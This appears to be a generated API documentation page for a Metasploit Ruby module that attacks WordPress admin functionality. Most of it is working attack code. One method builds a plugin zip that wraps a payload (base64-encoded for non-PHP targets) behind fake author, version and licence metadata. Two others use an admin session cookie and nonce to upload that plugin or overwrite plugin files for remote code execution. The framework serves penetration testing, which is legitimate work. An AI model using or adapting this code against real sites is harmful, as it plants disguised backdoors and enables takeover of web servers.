Module: Msf::Exploit::Remote::HTTP::Wordpress::Admin

Included in:
Msf::Exploit::Remote::HTTP::Wordpress
Defined in:
lib/msf/core/exploit/remote/http/wordpress/admin.rb

Instance Method Summary collapse

Instance Method Details

#generate_plugin(plugin_name, payload_name) ⇒ Rex::Zip::Archive

Generate a WordPress plugin containing a Metasploit payload.

Parameters:

  • plugin_name (String) —

    The name of the plugin

  • payload_name (String) —

    The .php file name

Returns:

  • (Rex::Zip::Archive) —

    return a valid WordPress plugin in a zip file.



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# File 'lib/msf/core/exploit/remote/http/wordpress/admin.rb', line 51

def generate_plugin(plugin_name, payload_name)
  plugin_script = %(<?php
/**
 * Plugin Name: #{plugin_name}
 * Version: #{Faker::App.semantic_version}
 * Author: #{Faker::Name.name}
 * Author URI: #{Faker::Internet.url}
 * License: #{['GPLv2', 'GPLv2 or later', 'GPL-2.0-or-later'].sample}
 */
?>)

  php_code = "<?php #{payload.encoded} ?>"
  if target['Arch'] != ARCH_PHP
    dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
    php_code = <<-END_OF_PHP_CODE
      #{php_preamble(disabled_varname: dis)}
      $c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
      #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
    END_OF_PHP_CODE
    php_code = php_code + '?>'
  end

  zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
  zip.add_file(File.join(plugin_name, "#{plugin_name}.php"), plugin_script)
  zip.add_file(File.join(plugin_name, "#{payload_name}.php"), php_code)
  zip
end

#wordpress_edit_plugin(file, contents, cookie) ⇒ Boolean

Edits a plugin file (relative to plugins dir) using a valid admin session.

Parameters:

  • file (String) —

    The plugin file to edit (relative to plugins dir)

  • contents (String) —

    The plugin file contents to overwrite with

  • cookie (String) —

    A valid admin session cookie

Returns:

  • (Boolean) —

    true on success, false on error



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# File 'lib/msf/core/exploit/remote/http/wordpress/admin.rb', line 85

def wordpress_edit_plugin(file, contents, cookie)
  unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file))
    vprint_error('Failed to acquire the plugin edit nonce')
    return false
  end

  vprint_status("Acquired a plugin edit nonce: #{nonce}")

  # https://github.com/WordPress/WordPress/blob/master/wp-admin/plugin-editor.php
  res = send_request_cgi(
    'method'       => 'POST',
    'uri'          => wordpress_url_admin_plugin_editor,
    'cookie'       => cookie,
    'vars_post'    => {
      'action'     => 'update',
      '_wpnonce'   => nonce,
      'file'       => file,
      'newcontent' => contents
    }
  )

  unless res && res.redirect?
    vprint_error("Server responded with code #{res.code}") if res
    vprint_error("Failed to edit plugin file #{file}")
    return false
  end

  # NOTE: send_request_cgi! doesn't change the method
  res = send_request_cgi(
    'method' => 'GET',
    'uri'    => res.redirection.to_s,
    'cookie' => cookie
  )

  unless res && res.code == 200 && res.body.include?('edited successfully')
    vprint_error("Server responded with code #{res.code}") if res
    vprint_error("Failed to edit plugin file #{file}")
    return false
  end

  vprint_status("Edited plugin file #{file}")
  true
end

#wordpress_upload_plugin(name, zip, cookie) ⇒ Boolean

Uploads a plugin using a valid admin session.

Parameters:

  • name (String) —

    The name of the plugin

  • zip (String) —

    The plugin zip file as a string

  • cookie (String) —

    A valid admin session cookie

Returns:

  • (Boolean) —

    true on success, false on error



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# File 'lib/msf/core/exploit/remote/http/wordpress/admin.rb', line 11

def wordpress_upload_plugin(name, zip, cookie)
  nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
  if nonce.nil?
    vprint_error("Failed to acquire the plugin upload nonce")
    return false
  end
  vprint_status("Acquired a plugin upload nonce: #{nonce}")

  referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
  data = Rex::MIME::Message.new
  data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
  data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
  data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
  data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')

  res = send_request_cgi(
    'method'    => 'POST',
    'uri'       => wordpress_url_admin_update,
    'ctype'     => "multipart/form-data; boundary=#{data.bound}",
    'data'      => data.to_s,
    'cookie'    => cookie,
    'vars_get'  => { 'action' => 'upload-plugin' }
  )

  if res && res.code == 200
    vprint_status("Uploaded plugin #{name}")
    return true
  else
    vprint_error("Server responded with code #{res.code}") if res
    vprint_error("Failed to upload plugin #{name}")
    return false
  end
end